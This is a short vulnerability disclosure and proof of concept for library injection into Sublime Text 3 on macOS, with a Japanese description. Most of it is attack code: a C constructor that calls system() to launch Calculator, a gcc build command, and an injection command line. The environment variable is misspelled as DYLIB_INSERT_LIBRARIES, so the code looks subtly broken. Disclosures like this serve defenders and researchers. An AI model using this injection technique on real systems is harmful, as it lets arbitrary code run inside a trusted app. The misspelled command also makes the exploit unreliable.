Download: https://www.sublimetext.com/3
CVE: CVE-2025-65741 | https://nvd.nist.gov/vuln/detail/CVE-2025-65741
Author: Vinicius Batistella
Version Affected: Sublime Text 3 Build 3208 or prior for macOS
Sublime Text アプリは、署名されていないコードインジェクションを正しくチェックしません。これにより、攻撃者は .dylib ライブラリをコンパイルし、アプリにそのライブラリをアプリケーションのコンテキストで強制的に実行させることができます。次の例では、Sublime Text アプリが calc バイナリを開くように強制されました。この脆弱性は Build 3209 以降で修正されています。
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] Dynalic Library Injection: %s\n", argv[0]);
system("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
}
gcc -dynamiclib injection.c -arch x86_64 -o injection_x86.dylib
DYLIB_INSERT_LIBRARIES=injection_x86.dylib /Applications/Sublime\ Text.app/Contents/MacOS/Sublime\ Text